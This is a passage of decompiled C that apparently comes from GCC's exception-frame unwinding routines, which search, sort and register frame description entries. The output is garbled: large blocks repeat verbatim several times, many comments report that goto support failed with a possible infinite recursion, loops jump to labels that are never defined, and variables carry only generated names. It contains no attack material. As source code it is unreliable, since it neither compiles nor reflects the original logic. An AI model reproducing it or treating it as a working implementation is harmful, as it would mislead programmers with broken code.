(int32_t)v75; if (v5 < *(int32_t *)v75) { // Detected a possible infinite recursion (goto support failed); quitting... } // 0x80a88a1 v129 = (int32_t)*(char *)(v74 + 16) | v5 & -256; if (v129 == 1) { // 0x80a8d00 v115 = *(int32_t *)(v74 + 12); v54 = *(int32_t *)v115; g97 = v54; if (v54 != 0) { // 0x80a8d13 g101 = v115; g95 = v74; v1 = (struct struct_118 *)0x80a8d26; g99 -= 4; if (linear_search_fdes(a1, 0, 0) == 0) { while (true) { // 0x80a8d31 v84 = g101 + 4; v116 = *(int32_t *)v84; g97 = v116; g101 = v84; if (v116 != 0) { goto lab_0x6cbc6c0; } // Detected a possible infinite recursion (goto support failed); quitting... } } } } else { v121 = v129; v48 = v51; v118 = v119; // 0x80a88d4 v76 = (int32_t)v75; if ((v121 & 4) == 0) { // 0x80a88dc v130 = (int32_t)*(int16_t *)(v76 + 16) | v121 & -0x10000; if (v130 == 2040) { // 0x80a88f1 v101 = *(int32_t *)(v76 + 12); v102 = *(int32_t *)(v101 + 4); if (v102 != 0) { // 0x80a88fe v126 = v101 + 8; v85 = v102; v55 = 0; // branch -> 0x80a8900 while (true) { // 0x80a8900 v77 = v55 + v85; g96 = v77; v44 = v77 / 2; v25 = (int32_t *)v44; v122 = *(int32_t *)(v126 + 4 * v44); v103 = *(int32_t *)(v122 + 8); if (v5 < v103) { goto lab_0x6cc57e0; } goto lab_0x6cc77a0; } } } else { // 0x80a89da v104 = *(int32_t *)(v76 + 12); v78 = v130 / 8; v35 = v78 % 256; g95 = v35; g97 = v76; v1 = (struct struct_118 *)0x80a89fb; g99 -= 4; base_from_object((struct struct_45 *)&a1); v105 = *(int32_t *)(v104 + 4); v33 = v105; if (v105 != 0) { // 0x80a8a0c v79 = v78 % 16; v59 = g100; *(int32_t *)(v59 - 160) = v59 - 20; v60 = g100; *(int32_t *)(v60 - 148) = v60 - 16; v127 = v104 + 8; v106 = (int32_t)v118; v107 = 0; // branch -> 0x80a8a30 while (true) { // 0x80a8a30 v123 = *(int32_t *)(v127 + 4 * (v107 + v33) / 2); g96 = v123 + 8; g95 = v35; g99 -= 20; v26 = (int32_t *)read_encoded_value_with_base_723(a1, 0, 0); g95 = v79; g99 -= 4; read_encoded_value_with_base_723(a1, 0, 0); if (v106 > v5) { goto lab_0x6cd4070; } goto lab_0x6cd67b0; } } } // Detected a possible infinite recursion (goto support failed); quitting... } else { // 0x80a8c1a v111 = *(int32_t *)(v76 + 12); v40 = (struct struct_118 *)v111; v112 = *(int32_t *)(v111 + 4); v30 = (int32_t *)v112; if (v112 != 0) { // 0x80a8c34 v62 = g100; v83 = v62 - 20; g101 = v83; *(int32_t *)(v62 - 160) = v83; v63 = g100; *(int32_t *)(v63 - 148) = v63 - 16; v113 = (int32_t)v37; v31 = v30; v114 = NULL; // branch -> 0x80a8c4d while (true) { // 0x80a8c4d v47 = ((int32_t)v114 + (int32_t)v31) / 2; g102 = v47; v124 = *(int32_t *)(4 * v47 + 8 + (int32_t)v40); v13 = v124 + 4; g95 = v13 - *(int32_t *)v13; g99 -= 4; v64 = get_cie_encoding((struct struct_45 *)&a1) % 256; g97 = (int32_t)v4; g95 = v64; g99 -= 4; base_from_object((struct struct_45 *)&a1); g96 = v124 + 8; g95 = v64; g99 -= 20; v34 = read_encoded_value_with_base_723(a1, 0, 0); g95 = g101 % 16; g99 -= 4; read_encoded_value_with_base_723(a1, 0, 0); if (v113 > v5) { goto lab_0x6ce48f0; } goto lab_0x6ce6200; } } } // Detected a possible infinite recursion (goto support failed); quitting... } // Detected a possible infinite recursion (goto support failed); quitting... } // 0x80a8878 v100 = v38; v58 = (int32_t)v4; v23 = (int32_t *)(v58 + 12); v100->e0 = (int32_t *)*v23; *v23 = (int32_t)v100; v24 = (char *)(v58 + 16); *v24 = *v24 | 1; v51 = v49; v119 = v120; // branch -> 0x80a888d // 0x80a888d v75 = v4; v74 = (int32_t)v75; if (v5 < *(int32_t *)v75) { // Detected a possible infinite recursion (goto support failed); quitting... } // 0x80a88a1 v129 = (int32_t)*(char *)(v74 + 16) | v5 & -256; if (v129 == 1) { // 0x80a8d00 v115 = *(int32_t *)(v74 + 12); v54 = *(int32_t *)v115; g97 = v54; if (v54 != 0) { // 0x80a8d13 g101 = v115; g95 = v74; v1 = (struct struct_118 *)0x80a8d26; g99 -= 4; if (linear_search_fdes(a1, 0, 0) == 0) { while (true) { // 0x80a8d31 v84 = g101 + 4; v116 = *(int32_t *)v84; g97 = v116; g101 = v84; if (v116 != 0) { goto lab_0x6cbc6c0; } // Detected a possible infinite recursion (goto support failed); quitting... } } } } else { v121 = v129; v48 = v51; v118 = v119; // 0x80a88d4 v76 = (int32_t)v75; if ((v121 & 4) == 0) { // 0x80a88dc v130 = (int32_t)*(int16_t *)(v76 + 16) | v121 & -0x10000; if (v130 == 2040) { // 0x80a88f1 v101 = *(int32_t *)(v76 + 12); v102 = *(int32_t *)(v101 + 4); if (v102 != 0) { // 0x80a88fe v126 = v101 + 8; v85 = v102; v55 = 0; // branch -> 0x80a8900 while (true) { // 0x80a8900 v77 = v55 + v85; g96 = v77; v44 = v77 / 2; v25 = (int32_t *)v44; v122 = *(int32_t *)(v126 + 4 * v44); v103 = *(int32_t *)(v122 + 8); if (v5 < v103) { goto lab_0x6cc57e0; } goto lab_0x6cc77a0; } } } else { // 0x80a89da v104 = *(int32_t *)(v76 + 12); v78 = v130 / 8; v35 = v78 % 256; g95 = v35; g97 = v76; v1 = (struct struct_118 *)0x80a89fb; g99 -= 4; base_from_object((struct struct_45 *)&a1); v105 = *(int32_t *)(v104 + 4); v33 = v105; if (v105 != 0) { // 0x80a8a0c v79 = v78 % 16; v59 = g100; *(int32_t *)(v59 - 160) = v59 - 20; v60 = g100; *(int32_t *)(v60 - 148) = v60 - 16; v127 = v104 + 8; v106 = (int32_t)v118; v107 = 0; // branch -> 0x80a8a30 while (true) { // 0x80a8a30 v123 = *(int32_t *)(v127 + 4 * (v107 + v33) / 2); g96 = v123 + 8; g95 = v35; g99 -= 20; v26 = (int32_t *)read_encoded_value_with_base_723(a1, 0, 0); g95 = v79; g99 -= 4; read_encoded_value_with_base_723(a1, 0, 0); if (v106 > v5) { goto lab_0x6cd4070; } goto lab_0x6cd67b0; } } } // Detected a possible infinite recursion (goto support failed); quitting... } else { // 0x80a8c1a v111 = *(int32_t *)(v76 + 12); v40 = (struct struct_118 *)v111; v112 = *(int32_t *)(v111 + 4); v30 = (int32_t *)v112; if (v112 != 0) { // 0x80a8c34 v62 = g100; v83 = v62 - 20; g101 = v83; *(int32_t *)(v62 - 160) = v83; v63 = g100; *(int32_t *)(v63 - 148) = v63 - 16; v113 = (int32_t)v37; v31 = v30; v114 = NULL; // branch -> 0x80a8c4d while (true) { // 0x80a8c4d v47 = ((int32_t)v114 + (int32_t)v31) / 2; g102 = v47; v124 = *(int32_t *)(4 * v47 + 8 + (int32_t)v40); v13 = v124 + 4; g95 = v13 - *(int32_t *)v13; g99 -= 4; v64 = get_cie_encoding((struct struct_45 *)&a1) % 256; g97 = (int32_t)v4; g95 = v64; g99 -= 4; base_from_object((struct struct_45 *)&a1); g96 = v124 + 8; g95 = v64; g99 -= 20; v34 = read_encoded_value_with_base_723(a1, 0, 0); g95 = g101 % 16; g99 -= 4; read_encoded_value_with_base_723(a1, 0, 0); if (v113 > v5) { goto lab_0x6ce48f0; } goto lab_0x6ce6200; } } } // Detected a possible infinite recursion (goto support failed); quitting... } // Detected a possible infinite recursion (goto support failed); quitting... } else { v50 = (int32_t *)0x80a86d1; } } else { v50 = v2; } } // 0x80a86db v93 = v38; v92 = (int32_t)v93; if (v93 != NULL) { // 0x80a86eb g96 = v56; if (v93->e1 != v27) { // 0x80a8d61 g99 -= 4; abort(); // UNREACHABLE } } // 0x80a86fa v71 = (int32_t)v4; g101 = v71; v72 = v71 + 16; if (*(char *)v72 == 4) { // 0x80a8ae0 v45 = g98; if (*(int16_t *)v72 == 2040) { // 0x80a8af2 v46 = v45; v117 = v45 - 0x89f44; // branch -> 0x80a8713 } else { // 0x80a8ce4 v65 = v45 - 0x89f24; g101 = v65; v46 = v45; v117 = v65; // branch -> 0x80a8713 } // 0x80a8713 g102 = v88; if (v88 == 0) { // 0x80a8d40 g96 = v92; g97 = v117; g95 = v71; v1 = (struct struct_118 *)0x80a8d54; g99 -= 4; frame_heapsort(a1, 0, 0); v49 = v50; v120 = (int32_t *)0x80a8693; // branch -> 0x80a8878 } else { // 0x80a8721 v18 = (int32_t *)(v92 + 4); v94 = *v18; if (v94 != 0) { // 0x80a8b00 v61 = v46 + 0x7888; v36 = (struct struct_118 *)v61; v12 = v92 + 8; *(int32_t *)(v88 + 8) = v61; v14 = v12; g101 = v14; g96 = 1; if (v94 != 1) { v11 = 1; v15 = v14; while (true) { // 0x80a8b44 v108 = (int32_t)v36; g1 = v15 < v108; g103 = v15 == v108; if (v15 == v108) { goto lab_0x6c94920; } goto lab_0xafb6150; } } // 0x80a8b85 v32 = 0; v87 = 0; v82 = 0; v81 = 0; v29 = (int32_t *)v93; // branch -> 0x80a8bd5 while (true) { // 0x80a8bd5 v86 = v87; v80 = v81; v28 = v29; // branch -> 0x80a8bd5 goto lab_0x6d0fe20; } } // 0x80a8746 *v18 = 0; g96 = v88; v19 = (int32_t *)(v88 + 4); *v19 = 0; v57 = g102; v73 = (int32_t)(int32_t *)v93; g101 = v73; v16 = *(int32_t *)(v73 + 4) + *(int32_t *)(v57 + 4); g95 = v16; if (v16 != v56) { // 0x80a8d61 g99 -= 4; abort(); // UNREACHABLE } // 0x80a8773 g96 = v57; g97 = v117; g95 = (int32_t)v4; frame_heapsort(a1, 0, 0); v96 = v38; v95 = (int32_t)v96; v97 = *v19; g96 = v97; if (v97 != 0) { // 0x80a879d v125 = v95 + 8; v22 = (int32_t *)(v88 + 8 + 4 * v97); v110 = v96->e1; // branch -> 0x80a87cf while (true) { // 0x80a87cf v128 = v97 - 1; v20 = (int32_t *)((int32_t)v22 - 4); v21 = (struct struct_118 *)*v20; v41 = v21; v98 = (int32_t)v110; if (v110 == NULL) { v52 = (int32_t *)0x80a8783; v109 = NULL; goto lab_0x6cebf10; } goto lab_0x6ca6790; } } // 0x80a886a free(v17); v49 = (int32_t *)0x80a8783; v120 = (int32_t *)0x80a8875; // branch -> 0x80a8878 // 0x80a8878 v100 = v38; v58 = (int32_t)v4; v23 = (int32_t *)(v58 + 12); v100->e0 = (int32_t *)*v23; *v23 = (int32_t)v100; v24 = (char *)(v58 + 16); *v24 = *v24 | 1; v51 = v49; v119 = v120; // branch -> 0x80a888d // 0x80a888d v75 = v4; v74 = (int32_t)v75; if (v5 < *(int32_t *)v75) { // Detected a possible infinite recursion (goto support failed); quitting... } // 0x80a88a1 v129 = (int32_t)*(char *)(v74 + 16) | v5 & -256; if (v129 == 1) { // 0x80a8d00 v115 = *(int32_t *)(v74 + 12); v54 = *(int32_t *)v115; g97 = v54; if (v54 != 0) { // 0x80a8d13 g101 = v115; g95 = v74; v1 = (struct struct_118 *)0x80a8d26; g99 -= 4; if (linear_search_fdes(a1, 0, 0) == 0) { while (true) { // 0x80a8d31 v84 = g101 + 4; v116 = *(int32_t *)v84; g97 = v116; g101 = v84; if (v116 != 0) { goto lab_0x6cbc6c0; } // Detected a possible infinite recursion (goto support failed); quitting... } } } } else { v121 = v129; v48 = v51; v118 = v119; // 0x80a88d4 v76 = (int32_t)v75; if ((v121 & 4) == 0) { // 0x80a88dc v130 = (int32_t)*(int16_t *)(v76 + 16) | v121 & -0x10000; if (v130 == 2040) { // 0x80a88f1 v101 = *(int32_t *)(v76 + 12); v102 = *(int32_t *)(v101 + 4); if (v102 != 0) { // 0x80a88fe v126 = v101 + 8; v85 = v102; v55 = 0; // branch -> 0x80a8900 while (true) { // 0x80a8900 v77 = v55 + v85; g96 = v77; v44 = v77 / 2; v25 = (int32_t *)v44; v122 = *(int32_t *)(v126 + 4 * v44); v103 = *(int32_t *)(v122 + 8); if (v5 < v103) { goto lab_0x6cc57e0; } goto lab_0x6cc77a0; } } } else { // 0x80a89da v104 = *(int32_t *)(v76 + 12); v78 = v130 / 8; v35 = v78 % 256; g95 = v35; g97 = v76; v1 = (struct struct_118 *)0x80a89fb; g99 -= 4; base_from_object((struct struct_45 *)&a1); v105 = *(int32_t *)(v104 + 4); v33 = v105; if (v105 != 0) { // 0x80a8a0c v79 = v78 % 16; v59 = g100; *(int32_t *)(v59 - 160) = v59 - 20; v60 = g100; *(int32_t *)(v60 - 148) = v60 - 16; v127 = v104 + 8; v106 = (int32_t)v118; v107 = 0; // branch -> 0x80a8a30 while (true) { // 0x80a8a30 v123 = *(int32_t *)(v127 + 4 * (v107 + v33) / 2); g96 = v123 + 8; g95 = v35; g99 -= 20; v26 = (int32_t *)read_encoded_value_with_base_723(a1, 0, 0); g95 = v79; g99 -= 4; read_encoded_value_with_base_723(a1, 0, 0); if (v106 > v5) { goto lab_0x6cd4070; } goto lab_0x6cd67b0; } } } // Detected a possible infinite recursion (goto support failed); quitting... } else { // 0x80a8c1a v111 = *(int32_t *)(v76 + 12); v40 = (struct struct_118 *)v111; v112 = *(int32_t *)(v111 + 4); v30 = (int32_t *)v112; if (v112 != 0) { // 0x80a8c34 v62 = g100; v83 = v62 - 20; g101 = v83; *(int32_t *)(v62 - 160) = v83; v63 = g100; *(int32_t *)(v63 - 148) = v63 - 16; v113 = (int32_t)v37; v31 = v30; v114 = NULL; // branch -> 0x80a8c4d while (true) { // 0x80a8c4d v47 = ((int32_t)v114 + (int32_t)v31) / 2; g102 = v47; v124 = *(int32_t *)(4 * v47 + 8 + (int32_t)v40); v13 = v124 + 4; g95 = v13 - *(int32_t *)v13; g99 -= 4; v64 = get_cie_encoding((struct struct_45 *)&a1) % 256; g97 = (int32_t)v4; g95 = v64; g99 -= 4; base_from_object((struct struct_45 *)&a1); g96 = v124 + 8; g95 = v64; g99 -= 20; v34 = read_encoded_value_with_base_723(a1, 0, 0); g95 = g101 % 16; g99 -= 4; read_encoded_value_with_base_723(a1, 0, 0); if (v113 > v5) { goto lab_0x6ce48f0; } goto lab_0x6ce6200; } } } // Detected a possible infinite recursion (goto support failed); quitting... } // Detected a possible infinite recursion (goto support failed); quitting... } // 0x80a8878 v100 = v38; v58 = (int32_t)v4; v23 = (int32_t *)(v58 + 12); v100->e0 = (int32_t *)*v23; *v23 = (int32_t)v100; v24 = (char *)(v58 + 16); *v24 = *v24 | 1; v51 = v49; v119 = v120; // branch -> 0x80a888d // 0x80a888d v75 = v4; v74 = (int32_t)v75; if (v5 < *(int32_t *)v75) { // Detected a possible infinite recursion (goto support failed); quitting... } // 0x80a88a1 v129 = (int32_t)*(char *)(v74 + 16) | v5 & -256; if (v129 == 1) { // 0x80a8d00 v115 = *(int32_t *)(v74 + 12); v54 = *(int32_t *)v115; g97 = v54; if (v54 != 0) { // 0x80a8d13 g101 = v115; g95 = v74; v1 = (struct struct_118 *)0x80a8d26; g99 -= 4; if (linear_search_fdes(a1, 0, 0) == 0) { while (true) { // 0x80a8d31 v84 = g101 + 4; v116 = *(int32_t *)v84; g97 = v116; g101 = v84; if (v116 != 0) { goto lab_0x6cbc6c0; } // Detected a possible infinite recursion (goto support failed); quitting... } } } } else { v121 = v129; v48 = v51; v118 = v119; // 0x80a88d4 v76 = (int32_t)v75; if ((v121 & 4) == 0) { // 0x80a88dc v130 = (int32_t)*(int16_t *)(v76 + 16) | v121 & -0x10000; if (v130 == 2040) { // 0x80a88f1 v101 = *(int32_t *)(v76 + 12); v102 = *(int32_t *)(v101 + 4); if (v102 != 0) { // 0x80a88fe v126 = v101 + 8; v85 = v102; v55 = 0; // branch -> 0x80a8900 while (true) { // 0x80a8900 v77 = v55 + v85; g96 = v77; v44 = v77 / 2; v25 = (int32_t *)v44; v122 = *(int32_t *)(v126 + 4 * v44); v103 = *(int32_t *)(v122 + 8); if (v5 < v103) { goto lab_0x6cc57e0; } goto lab_0x6cc77a0; } } } else { // 0x80a89da v104 = *(int32_t *)(v76 + 12); v78 = v130 / 8; v35 = v78 % 256; g95 = v35; g97 = v76; v1 = (struct struct_118 *)0x80a89fb; g99 -= 4; base_from_object((struct struct_45 *)&a1); v105 = *(int32_t *)(v104 + 4); v33 = v105; if (v105 != 0) { // 0x80a8a0c v79 = v78 % 16; v59 = g100; *(int32_t *)(v59 - 160) = v59 - 20; v60 = g100; *(int32_t *)(v60 - 148) = v60 - 16; v127 = v104 + 8; v106 = (int32_t)v118; v107 = 0; // branch -> 0x80a8a30 while (true) { // 0x80a8a30 v123 = *(int32_t *)(v127 + 4 * (v107 + v33) / 2); g96 = v123 + 8; g95 = v35; g99 -= 20; v26 = (int32_t *)read_encoded_value_with_base_723(a1, 0, 0); g95 = v79; g99 -= 4; read_encoded_value_with_base_723(a1, 0, 0); if (v106 > v5) { goto lab_0x6cd4070; } goto lab_0x6cd67b0; } } } // Detected a possible infinite recursion (goto support failed); quitting... } else { // 0x80a8c1a v111 = *(int32_t *)(v76 + 12); v40 = (struct struct_118 *)v111; v112 = *(int32_t *)(v111 + 4); v30 = (int32_t *)v112; if (v112 != 0) { // 0x80a8c34 v62 = g100; v83 = v62 - 20; g101 = v83; *(int32_t *)(v62 - 160) = v83; v63 = g100; *(int32_t *)(v63 - 148) = v63 - 16; v113 = (int32_t)v37; v31 = v30; v114 = NULL; // branch -> 0x80a8c4d while (true) { // 0x80a8c4d v47 = ((int32_t)v114 + (int32_t)v31) / 2; g102 = v47; v124 = *(int32_t *)(4 * v47 + 8 + (int32_t)v40); v13 = v124 + 4; g95 = v13 - *(int32_t *)v13; g99 -= 4; v64 = get_cie_encoding((struct struct_45 *)&a1) % 256; g97 = (int32_t)v4; g95 = v64; g99 -= 4; base_from_object((struct struct_45 *)&a1); g96 = v124 + 8; g95 = v64; g99 -= 20; v34 = read_encoded_value_with_base_723(a1, 0, 0); g95 = g101 % 16; g99 -= 4; read_encoded_value_with_base_723(a1, 0, 0); if (v113 > v5) { goto lab_0x6ce48f0; } goto lab_0x6ce6200; } } } // Detected a possible infinite recursion (goto support failed); quitting... } // Detected a possible infinite recursion (goto support failed); quitting... } else { // 0x80a870a v43 = g98; v46 = v43; v117 = v43 - 0x887a4; // branch -> 0x80a8713 } // 0x80a8713 g102 = v88; if (v88 == 0) { // 0x80a8d40 g96 = v92; g97 = v117; g95 = v71; v1 = (struct struct_118 *)0x80a8d54; g99 -= 4; frame_heapsort(a1, 0, 0); v49 = v50; v120 = (int32_t *)0x80a8693; // branch -> 0x80a8878 } else { // 0x80a8721 v18 = (int32_t *)(v92 + 4); v94 = *v18; if (v94 != 0) { // 0x80a8b00 v61 = v46 + 0x7888; v36 = (struct struct_118 *)v61; v12 = v92 + 8; *(int32_t *)(v88 + 8) = v61; v14 = v12; g101 = v14; g96 = 1; if (v94 != 1) { v11 = 1; v15 = v14; while (true) { // 0x80a8b44 v108 = (int32_t)v36; g1 = v15 < v108; g103 = v15 == v108; if (v15 == v108) { goto lab_0x6c94920; } goto lab_0xafb6150; } } // 0x80a8b85 v32 = 0; v87 = 0; v82 = 0; v81 = 0; v29 = (int32_t *)v93; // branch -> 0x80a8bd5 while (true) { // 0x80a8bd5 v86 = v87; v80 = v81; v28 = v29; // branch -> 0x80a8bd5 goto lab_0x6d0fe20; } } // 0x80a8746 *v18 = 0; g96 = v88; v19 = (int32_t *)(v88 + 4); *v19 = 0; v57 = g102; v73 = (int32_t)(int32_t *)v93; g101 = v73; v16 = *(int32_t *)(v73 + 4) + *(int32_t *)(v57 + 4); g95 = v16; if (v16 != v56) { // 0x80a8d61 g99 -= 4; abort(); // UNREACHABLE } // 0x80a8773 g96 = v57; g97 = v117; g95 = (int32_t)v4; frame_heapsort(a1, 0, 0); v96 = v38; v95 = (int32_t)v96; v97 = *v19; g96 = v97; if (v97 != 0) { // 0x80a879d v125 = v95 + 8; v22 = (int32_t *)(v88 + 8 + 4 * v97); v110 = v96->e1; // branch -> 0x80a87cf while (true) { // 0x80a87cf v128 = v97 - 1; v20 = (int32_t *)((int32_t)v22 - 4); v21 = (struct struct_118 *)*v20; v41 = v21; v98 = (int32_t)v110; if (v110 == NULL) { v52 = (int32_t *)0x80a8783; v109 = NULL; goto lab_0x6cebf10; } goto lab_0x6ca6790; } } // 0x80a886a free(v17); v49 = (int32_t *)0x80a8783; v120 = (int32_t *)0x80a8875; // branch -> 0x80a8878 // 0x80a8878 v100 = v38; v58 = (int32_t)v4; v23 = (int32_t *)(v58 + 12); v100->e0 = (int32_t *)*v23; *v23 = (int32_t)v100; v24 = (char *)(v58 + 16); *v24 = *v24 | 1; v51 = v49; v119 = v120; // branch -> 0x80a888d // 0x80a888d v75 = v4; v74 = (int32_t)v75; if (v5 < *(int32_t *)v75) { // Detected a possible infinite recursion (goto support failed); quitting... } // 0x80a88a1 v129 = (int32_t)*(char *)(v74 + 16) | v5 & -256; if (v129 == 1) { // 0x80a8d00 v115 = *(int32_t *)(v74 + 12); v54 = *(int32_t *)v115; g97 = v54; if (v54 != 0) { // 0x80a8d13 g101 = v115; g95 = v74; v1 = (struct struct_118 *)0x80a8d26; g99 -= 4; if (linear_search_fdes(a1, 0, 0) == 0) { while (true) { // 0x80a8d31 v84 = g101 + 4; v116 = *(int32_t *)v84; g97 = v116; g101 = v84; if (v116 != 0) { goto lab_0x6cbc6c0; } // Detected a possible infinite recursion (goto support failed); quitting... } } } } else { v121 = v129; v48 = v51; v118 = v119; // 0x80a88d4 v76 = (int32_t)v75; if ((v121 & 4) == 0) { // 0x80a88dc v130 = (int32_t)*(int16_t *)(v76 + 16) | v121 & -0x10000; if (v130 == 2040) { // 0x80a88f1 v101 = *(int32_t *)(v76 + 12); v102 = *(int32_t *)(v101 + 4); if (v102 != 0) { // 0x80a88fe v126 = v101 + 8; v85 = v102; v55 = 0; // branch -> 0x80a8900 while (true) { // 0x80a8900 v77 = v55 + v85; g96 = v77; v44 = v77 / 2; v25 = (int32_t *)v44; v122 = *(int32_t *)(v126 + 4 * v44); v103 = *(int32_t *)(v122 + 8); if (v5 < v103) { goto lab_0x6cc57e0; } goto lab_0x6cc77a0; } } } else { // 0x80a89da v104 = *(int32_t *)(v76 + 12); v78 = v130 / 8; v35 = v78 % 256; g95 = v35; g97 = v76; v1 = (struct struct_118 *)0x80a89fb; g99 -= 4; base_from_object((struct struct_45 *)&a1); v105 = *(int32_t *)(v104 + 4); v33 = v105; if (v105 != 0) { // 0x80a8a0c v79 = v78 % 16; v59 = g100; *(int32_t *)(v59 - 160) = v59 - 20; v60 = g100; *(int32_t *)(v60 - 148) = v60 - 16; v127 = v104 + 8; v106 = (int32_t)v118; v107 = 0; // branch -> 0x80a8a30 while (true) { // 0x80a8a30 v123 = *(int32_t *)(v127 + 4 * (v107 + v33) / 2); g96 = v123 + 8; g95 = v35; g99 -= 20; v26 = (int32_t *)read_encoded_value_with_base_723(a1, 0, 0); g95 = v79; g99 -= 4; read_encoded_value_with_base_723(a1, 0, 0); if (v106 > v5) { goto lab_0x6cd4070; } goto lab_0x6cd67b0; } } } // Detected a possible infinite recursion (goto support failed); quitting... } else { // 0x80a8c1a v111 = *(int32_t *)(v76 + 12); v40 = (struct struct_118 *)v111; v112 = *(int32_t *)(v111 + 4); v30 = (int32_t *)v112; if (v112 != 0) { // 0x80a8c34 v62 = g100; v83 = v62 - 20; g101 = v83; *(int32_t *)(v62 - 160) = v83; v63 = g100; *(int32_t *)(v63 - 148) = v63 - 16; v113 = (int32_t)v37; v31 = v30; v114 = NULL; // branch -> 0x80a8c4d while (true) { // 0x80a8c4d v47 = ((int32_t)v114 + (int32_t)v31) / 2; g102 = v47; v124 = *(int32_t *)(4 * v47 + 8 + (int32_t)v40); v13 = v124 + 4; g95 = v13 - *(int32_t *)v13; g99 -= 4; v64 = get_cie_encoding((struct struct_45 *)&a1) % 256; g97 = (int32_t)v4; g95 = v64; g99 -= 4; base_from_object((struct struct_45 *)&a1); g96 = v124 + 8; g95 = v64; g99 -= 20; v34 = read_encoded_value_with_base_723(a1, 0, 0); g95 = g101 % 16; g99 -= 4; read_encoded_value_with_base_723(a1, 0, 0); if (v113 > v5) { goto lab_0x6ce48f0; } goto lab_0x6ce6200; } } } // Detected a possible infinite recursion (goto support failed); quitting... } // Detected a possible infinite recursion (goto support failed); quitting... } // 0x80a8878 v100 = v38; v58 = (int32_t)v4; v23 = (int32_t *)(v58 + 12); v100->e0 = (int32_t *)*v23; *v23 = (int32_t)v100; v24 = (char *)(v58 + 16); *v24 = *v24 | 1; v51 = v49; v119 = v120; // branch -> 0x80a888d } else { v51 = v2; v119 = (int32_t *)0x80a866f; } } // 0x80a888d v75 = v4; v74 = (int32_t)v75; if (v5 < *(int32_t *)v75) { // Detected a possible infinite recursion (goto support failed); quitting... } // 0x80a88a1 v129 = (int32_t)*(char *)(v74 + 16) | v5 & -256; if (v129 == 1) { // 0x80a8d00 v115 = *(int32_t *)(v74 + 12); v54 = *(int32_t *)v115; g97 = v54; if (v54 != 0) { // 0x80a8d13 g101 = v115; g95 = v74; v1 = (struct struct_118 *)0x80a8d26; g99 -= 4; if (linear_search_fdes(a1, 0, 0) == 0) { while (true) { // 0x80a8d31 v84 = g101 + 4; v116 = *(int32_t *)v84; g97 = v116; g101 = v84; if (v116 != 0) { goto lab_0x6cbc6c0; } // Detected a possible infinite recursion (goto support failed); quitting... } } } } else { v121 = v129; v48 = v51; v118 = v119; // 0x80a88d4 v76 = (int32_t)v75; if ((v121 & 4) == 0) { // 0x80a88dc v130 = (int32_t)*(int16_t *)(v76 + 16) | v121 & -0x10000; if (v130 == 2040) { // 0x80a88f1 v101 = *(int32_t *)(v76 + 12); v102 = *(int32_t *)(v101 + 4); if (v102 != 0) { // 0x80a88fe v126 = v101 + 8; v85 = v102; v55 = 0; // branch -> 0x80a8900 while (true) { // 0x80a8900 v77 = v55 + v85; g96 = v77; v44 = v77 / 2; v25 = (int32_t *)v44; v122 = *(int32_t *)(v126 + 4 * v44); v103 = *(int32_t *)(v122 + 8); if (v5 < v103) { goto lab_0x6cc57e0; } goto lab_0x6cc77a0; } } } else { // 0x80a89da v104 = *(int32_t *)(v76 + 12); v78 = v130 / 8; v35 = v78 % 256; g95 = v35; g97 = v76; v1 = (struct struct_118 *)0x80a89fb; g99 -= 4; base_from_object((struct struct_45 *)&a1); v105 = *(int32_t *)(v104 + 4); v33 = v105; if (v105 != 0) { // 0x80a8a0c v79 = v78 % 16; v59 = g100; *(int32_t *)(v59 - 160) = v59 - 20; v60 = g100; *(int32_t *)(v60 - 148) = v60 - 16; v127 = v104 + 8; v106 = (int32_t)v118; v107 = 0; // branch -> 0x80a8a30 while (true) { // 0x80a8a30 v123 = *(int32_t *)(v127 + 4 * (v107 + v33) / 2); g96 = v123 + 8; g95 = v35; g99 -= 20; v26 = (int32_t *)read_encoded_value_with_base_723(a1, 0, 0); g95 = v79; g99 -= 4; read_encoded_value_with_base_723(a1, 0, 0); if (v106 > v5) { goto lab_0x6cd4070; } goto lab_0x6cd67b0; } } } // Detected a possible infinite recursion (goto support failed); quitting... } else { // 0x80a8c1a v111 = *(int32_t *)(v76 + 12); v40 = (struct struct_118 *)v111; v112 = *(int32_t *)(v111 + 4); v30 = (int32_t *)v112; if (v112 != 0) { // 0x80a8c34 v62 = g100; v83 = v62 - 20; g101 = v83; *(int32_t *)(v62 - 160) = v83; v63 = g100; *(int32_t *)(v63 - 148) = v63 - 16; v113 = (int32_t)v37; v31 = v30; v114 = NULL; // branch -> 0x80a8c4d while (true) { // 0x80a8c4d v47 = ((int32_t)v114 + (int32_t)v31) / 2; g102 = v47; v124 = *(int32_t *)(4 * v47 + 8 + (int32_t)v40); v13 = v124 + 4; g95 = v13 - *(int32_t *)v13; g99 -= 4; v64 = get_cie_encoding((struct struct_45 *)&a1) % 256; g97 = (int32_t)v4; g95 = v64; g99 -= 4; base_from_object((struct struct_45 *)&a1); g96 = v124 + 8; g95 = v64; g99 -= 20; v34 = read_encoded_value_with_base_723(a1, 0, 0); g95 = g101 % 16; g99 -= 4; read_encoded_value_with_base_723(a1, 0, 0); if (v113 > v5) { goto lab_0x6ce48f0; } goto lab_0x6ce6200; } } } // Detected a possible infinite recursion (goto support failed); quitting... } // Detected a possible infinite recursion (goto support failed); quitting... } else { // 0x80a8968 v140 = v142; // branch -> 0x80a8968 continue; } } } // 0x80a8997 v137 = v9 % 2048 | v136; g96 = v137; *(int32_t *)((int32_t)v4 + 16) = v137; v135 = g96; v139 = v135 / 2048; g95 = v139; if ((int32_t)v133 != v139) { // 0x80a89b8 v138 = v135 % 2048; g96 = v138; *(int32_t *)((int32_t)v4 + 16) = v138; // branch -> 0x80a89c7 } // 0x80a89c7 if (v133 != NULL) { v27 = v133; // 0x80a8659 v56 = (int32_t)v27; __libc_malloc((int32_t *)(4 * v56 + 8), v39, (int32_t)v1); v66 = g95; v38 = (struct struct_6 *)v66; if (v66 != 0) { // 0x80a8683 *(int32_t *)(v66 + 4) = 0; __libc_malloc((int32_t *)g101, v39, (int32_t)v1); v88 = g95; v17 = (int32_t *)v88; if (v88 != 0) { // 0x80a869d *(int32_t *)(v88 + 4) = 0; // branch -> 0x80a86a4 } // 0x80a86a4 v67 = (int32_t)v4; g101 = v67; if (*(char *)(v67 + 16) == 2) { // 0x80a8a9a g95 = v67; g96 = *(int32_t *)(v67 + 12); g97 = g100 - 28; g99 -= 4; add_fdes(a1, 0, 0); v50 = v2; // branch -> 0x80a86db } else { // 0x80a86b4 v89 = *(int32_t *)(v67 + 12); g95 = v89; v42 = *(int32_t *)v89; g96 = v42; if (v42 != 0) { // 0x80a86bd v68 = g100 - 28; g102 = v68; g101 = v89; g97 = v68; g95 = v67; add_fdes(a1, 0, 0); v70 